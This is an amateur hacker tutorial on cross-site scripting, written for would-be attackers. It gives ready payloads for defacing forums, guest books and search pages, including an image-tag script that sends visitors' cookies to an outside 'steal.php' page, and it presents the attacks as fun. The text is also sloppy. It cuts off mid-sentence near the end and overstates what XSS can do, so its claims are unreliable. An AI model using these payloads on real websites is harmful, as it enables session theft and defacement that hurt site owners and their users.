    Title: "Cross Site Scripting Tutorial [XSS]"
    Author: eLLuSioNisT
    ---------------------------------------------------------------------------------


    What is Cross Site Scripting:
    XSS Stands for Cross Site Scripting, xss is a vulnerability that is
    normal found
    in a web app. XSS allows the user to inject malicious codes such as
    HTML and
    Java script. XSS can be used to steal cookies, make phishing pages and
    just having some fun with the website.


    What is A cookie:
    A cookie is a text-only string that gets entered into the memory of
    your browser.
    This value of a variable that a website sets. If the lifetime of this
    value is set
    to be longer than the time you spend at that site, then this string
    is saved to file for future reference.


    What can XSS do now days?:
    Cross Site Scripting is used commonly now days in the cyber
    world. XSS can take down most websites that are up to date,
    Cross Site Scripting can steal cookies from websites/forums.
    Make pop ups, appear were there not suppose to "search bars"
    etc. Or you can even do some very malicious codes such as
    redirect the website to another one. The question is, is your
    website safe?


    Hacking forums/guest books with XSS:
    Forum Hacking: Now in order to defaced or even attempt
    to hack a forum. The forum must have HTML enabled, so you can
    enter some malicious codes. If the forum does have HTML enabled
    then you can enter codes such as;

    QUOTE:
    <html>
    <head><title>Enjoy the xss tutorial TD </title></head>
    <body>
    [img]javascript:alert('Defaced By:')[/img]
    </body>
    </html>

    If the forum allows the imagen tags then you can use this tag to
    steal peoples cookies.

    QUOTE:
    [img]javascript:window.location='http://www.url.com/steal.php?account='+document.cookie[/img]


    Now to get to guest book hacking when your posting on the guest book
    it must also be vulnerable. Meaning html must be enabled, to see if html
    is enabled put these tags in your post hello world and if your
    text comes back bold. Then html is enabled now try doing other techniques
    you can also put some java script inside the html and see if that works.
    And if it does or if it doesn't you can still deface the guest book
    with writing
    up some cool html codes that take up the whole guest book page.



    Defacing Websites with Cross Site Scripting:
    As many of you know Cross Site Scripting is used alot now days to exploit
    websites and forums.
    Mostly search functions etc. Now some of the common XSS'es now days
    are within the search bars for websites. To make a box pop
    up saying what every you put in the script. Some XSS codes are;


    Quote:
    <script>alert("NurBo`")</script>

    <BODY ONLOAD=alert(document.cookie)>

    "><script>alert(NurBo`);</script>

    <script>window.document.write("<input type='file'>");</script>

    NurBo`


    Now how can I deface a website with just making 1 little pop up on
    the search bar page? You can redirect the site to your website or your
    friends or you can steel cookies. Make a html defacement page and put
    the whole code
    in your script. You can do many things, with java script on a vulnerable
    website.

    in the near future. So I hope this tutorial taught a few people what XSS
    can do and how fun it is. Keep your sites secure and enjoy!
